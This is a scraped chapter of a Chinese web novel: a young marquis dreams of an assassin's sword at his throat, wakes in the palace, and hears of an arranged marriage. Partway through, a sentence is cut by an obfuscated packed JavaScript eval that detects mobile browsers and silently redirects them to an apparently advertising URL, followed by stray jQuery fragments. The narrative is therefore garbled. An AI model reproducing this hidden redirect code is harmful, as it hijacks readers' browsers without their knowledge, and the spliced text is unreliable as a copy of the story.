1. 第一章

作品:《以貌娶人

    永宁侯府的小侯爷季承宁是整个洛京有名的纨绔。


    小侯爷幼年丧母父,三岁就养在亲叔叔季琳那,被娇惯得手不能提,肩不能扛。


    季承宁记得三皇子周琰去年秋狩时嘲笑他连五石重的弓都拉不开,“可叹永宁侯神勇,小侯爷却羸弱如此,想来是季大人疼惜娇爱,不忍小侯爷吃苦。”


    虽然当时季承宁觉得周琰说话是放屁,但不妨碍他现在有些后悔平日疏于练武。


    因为,一把剑正架在他脖子上。


    季承宁薄薄的眼皮下垂,触目所及乃是把朴实无华的剑,独剑身寒光闪闪,利刃杀气砭骨,贴他侧颈有半寸之距,刺得他皮肉凉飕飕的疼。


    季承宁吞了吞口水,干巴巴地说:“这位壮……”


    壮士两个字还没说完,他话音陡地顿住。


    因为他面前的刺客显然和壮这个词一点关系都不沾。


    这刺客身量太高挑,眉目太清寂,柳叶似的眼睛尾端收拢得流丽纤长,眼珠颜色比常人浅淡好些,泛着股寒浸浸的青。


    他内眦生着点沉红若朱砂的痣,可非但没冲散他身上的寒意,反而平添煞气。


    季承宁咬了下舌尖,方觉理智回笼,他艰难地补充:“有话好好说。”


    刺客不知想到了什么,手腕一顿,竟当真停住了剑。


    小侯爷见事有转机,忙道:“我是永宁侯世子,我爹乃陛下最宠幸的将军,我姑姑是贵妃,我二叔是当朝刑部尚书,陛下天恩浩荡,对我家的赏赐几辈子也用不尽。”


    那人闻言薄唇微扬,神情居然算得上温和。


    温润如水的神色与掌中剑寒光交相辉映,违和得令季承宁毛骨悚然。


    “壮士,我知你趁夜携兵刃跟着我是怕,怕有贼人伤我,你若送我回府,莫说是黄金万两,便是加官进爵平步青云也不在话下。”


    小纨绔赤裸裸地以利相诱,话里却藏着威胁。


    刺客笑。


    他笑起来更显温柔,简直如春雨沐面,万般柔和。


    然而,架在季承宁脖子上的剑却没有移动分毫。


    喉间青锋寒光四溢,季承宁忽地想起倘平国公世子今日若没拉着他喝酒,他现下已躺芙蓉被底安歇了,何以遭此劫难!


    少年人不由得悲从中来,又怕又冷又委屈,眼眶竟微微湿了。


    “你爹……”


    刺客终于开口。


    刺客的声音也清润动人,可季承宁像是被冰了下,不由得一颤。


    刺客很看不惯他这幅怯懦的模样,弯眼一笑,清丽绝俗的眼垂下,正与季承宁畏畏缩缩的目光对视。


    他柔声询问:“不是早死了吗?”


    谎言被戳破,季承宁嘴唇没出息地直发抖,“我……”


    刺客好整以暇地望着他。


    却在下一刻,软趴趴倒在地上的少年人暴起,居然不顾脖子上的剑,袖中火光一闪,直直朝那人心口/射去!


    “砰——”


    火药甜腻的香气轰然炸开!


    季承宁也不管打中没有,挣扎着起身就跑,扔下掷地有声的五个字——


    “你爹才死了!”


    刺客毫无防备,猛地闪身。


    火焰裹挟着铅珠倏地射出,正擦他肩头而过。


    铅珠威力不小,削下他肩膀一小片皮肉,疼得火烧火燎。


    季承宁踉踉跄跄地朝北跑。


    刺客却不怒,弯了弯眼,提起剑,悄无声息地跟上他。


    季承宁只觉喉间血腥气翻涌。


    “笃、笃、笃——”


    脚步声阴魂不散地黏着他,不紧不慢,如影随形。


    刺客明明可以瞬间追上来给他个痛快,却不知是忌惮季承宁手中的火器,还是享受将人一步步逼到绝望的乐趣,恰好与季承宁保持着两丈的距离。


    狗贼,追吧追吧追吧!


    季承宁在心中大骂。


    这条路是朱雀大街,再往前就是北禁,天家所在,外面巡视的武侯比小侯爷腰间的香囊还多,真撞上禁军,这狗贼定被砍成八十八段儿!


    眼见着北禁内的重阳楼飞檐都看得清了,季承宁面上一喜,张口大喊:“救……”


    “嗖——”


    寒光遽然闪烁,直直钉入季承宁的衣袍下拜!


    身后大力袭来,他毫无防备,被拽得一个踉跄,重重地扑倒在地。


    剑身入青砖一寸,季承宁挣不脱,扯不开,他艰难地转头,哽咽道:“壮士饶命!”


    他死死地攥着火器,生死之间,季承宁绝望地发现自己居然还有闲心大骂天工部造的什么烂东西,准头比他打鸟的弹弓子都不如,就这破玩意也敢叫御造。


    刺客慢悠悠地向他走来。


    走投无路的少年人眼睛睁得浑圆,水色盈睫,戚戚楚楚地望着刺客,好似一只被主人抛弃的小狗。


    然而,季承宁一面讨饶,一面还握着火枪不放。


    刺客走到他面前,居高临下地俯看着他。


    阴霾投下,将他笼罩其中。


    季承宁沉沉地喘息。


    他吐息发颤,几乎带出了点哽咽的泣音,“你,你别过来!”


    刺客离他过于近了。


    那股阴沉的腥甜气肆无忌惮地侵蚀着他的呼吸。


    血腥味太重,季承宁只觉自己在与刚斩过人,饮饱了血的凶器面面相觑。


    而下一个刀下亡魂,就是他自己。


    季承宁一咬牙,手上用力,却还没来得及开枪。


    “轰!”


    火光顷刻间照亮天际。


    季承宁眼眸猛地缩紧。


    他遽然转头。


    不远处,北禁火光冲天。


    宫里出事了?!


    姑姑怎么样……热浪滚滚涌来,季承宁顾不上其他,手脚并用,拼命挣扎着想上前。


    入地面三寸的利刃因他的动作摇摇晃晃,嘎吱作响。


    旋即,他脖颈被一个冷硬的东西死死卡住。


    是,季承宁剧烈地颤了下,那刺客的手指。


    喉结急促地上下滚动,手的主人似乎也觉察到了他的畏惧,轻柔地揉了揉他的喉咙。


    安抚一般。


    刺客动作细致极了,指尖轻缓划过肌肤,有条不紊,慢条斯理,带着阵令人脊背发麻的颤栗,逼得季承宁阵阵发抖。


    而后,这只手捏住季承宁的下颌,狠狠向上一抬。


    火光照亮了季承宁的脸。


    “好看吗?”刺客温情脉脉地问。


    少年乍然听到他出声,浑身剧震。


    从刺客的角度看,小纨绔是被被吓狠了,瞳仁猛地一缩,几乎要凝成条细线。


    刺客垂首,视线专注地欣赏季承宁的表情。


    转睫之间,变故陡起!


    被吓得无力瘫坐在地的少年面色骤厉,抬手就是一枪。


    “砰!”


    炽热汹涌而来,落在季承宁脸上。


    季承宁猛然睁开眼,惊魂未定地朝热源看去。


    是,贵妃娘娘的贴身大宫女,望舒。


    我在宫中,他怔怔地想,原来我在宫中。


    季承宁刚才噩梦中醒来,犹觉魂不在身。


    望舒与季承宁相熟,知道这位小侯爷脾气虽不好,却不是个拘小节的,一面给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129253|164381||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他擦脸,一面笑道:“世子这是做什么噩梦了,吓得满脸冷汗。”


    “姐姐给我罢。”季承宁接了面巾,自己往眼睛上按。


    他压下心中的不安,胡乱答道:“梦见我娶了个巡海夜叉精,掀开盖头一看,满口獠牙,要将我生吞了。”


    望舒掩唇一笑,“梦皆是反的,世子这般人品,侯夫人定是淑慧贤良的美人,只是不知尚在何方。”


    是啊,一个梦哪做得真。


    季承宁心绪稍定,朝她一笑,“呈姐姐吉言,不过……”


    他故意不说话,旁边有个小宫女等不及,脆生生地问道:“不过什么?小侯爷,你快说呀。”


    “不过,”季承宁把面巾拿下来,略垂了头扫了眼盆中水,倒影荡漾,点漆般的眼波流转,“美人也许近在眼前呢。”


    望舒还没反应过来,小宫人们早就笑做一团。


    她双颊一红,“世子!”


    季承宁随手将面巾扔进錾金莲花盆中,溅起了片波澜。


    他点了点侧脸,笑道:“我说我自己,姐姐为何恼了?”


    望舒偏身不理他。


    “娘娘呢?”


    望舒立时收了满面嗔怒,正色道:“娘娘见您睡着了,说您素日读书习武辛苦,不忍叫醒,命奴婢们送小侯爷往暖阁歇息。”


    暖阁雕花窗半开,日头西沉,色艳如血。


    绚烂的日光凝聚在重阳楼的琉璃瓦上,如熊熊燃烧的烈焰。


    季承宁心下发沉。


    他摇了摇昏昏沉沉的脑袋,“时辰不早了,我去同娘娘请辞。”


    望舒忙拦住,“娘娘方才用了安神汤,特意吩咐世子不必过去拜见,自去便好。”


    季承宁眉心微蹙,“娘娘又用安神汤了?”


    “回世子,娘娘说世子寻的这个方子比宫中御医开的强上许多,娘娘用后心静平和,头亦不痛了。”


    “是药三分毒,”季承宁嘀咕道:“再好也需少喝。”


    他千方百计寻这个方子是为根治贵妃头疼的宿疾,谁想娘娘还似从前一般,拿药当水喝止疼。


    望舒忙道:“娘娘现下月余方用一次。”


    季承宁闻言面色稍霁,他起身,由着宫婢将方才解下来的玉佩香囊又系上去。


    组佩琳琅,随主人的动作叮当作响。


    望舒屈膝见礼,“奴婢送世子。”


    ……


    少年不知愁,季承宁倚靠着马车内的软枕,幽香拂面,车内晃晃悠悠。


    没心没肺的小侯爷一面敲着膝盖,一面学着酒肆内的胡人哼策马调,待到侯府大门前,他已然将噩梦抛到脑后。


    撩开车帘,季承宁利落地跳下来。


    在外等候已久的仆从们忙上前相迎,或搬小侯爷刚买回来的东西,或迎上去嘘寒问暖。


    两个贴身小厮怀德和持正觑着季承宁的脸色,你撞我一下,我撞你一下,推搡着要对方上前。


    季承宁随手解了披风往怀德怀中一扔,见他正朝持正挤眉弄眼,一面往内走一面随口道:“怎么了?”


    怀德吞了下口水,讪讪道:“世子,府中到了位小姐。”


    永宁侯府当年因为诸多缘故并未分家,只买了附近宅邸,打通并作一宅,足足占了整条祯瑞街,每日各房亲眷走动,属下同僚公务拜访不知往来多少人。


    小侯爷瞥了他一眼。


    怀德大着胆子道:“府里都说,二爷要给您和这位小姐议婚,先将这位小姐接来住下,待请大师合过八字后,就将婚事定下。”


    给谁议婚?


    给我?!


    季承宁如遭雷劈,霍然转头。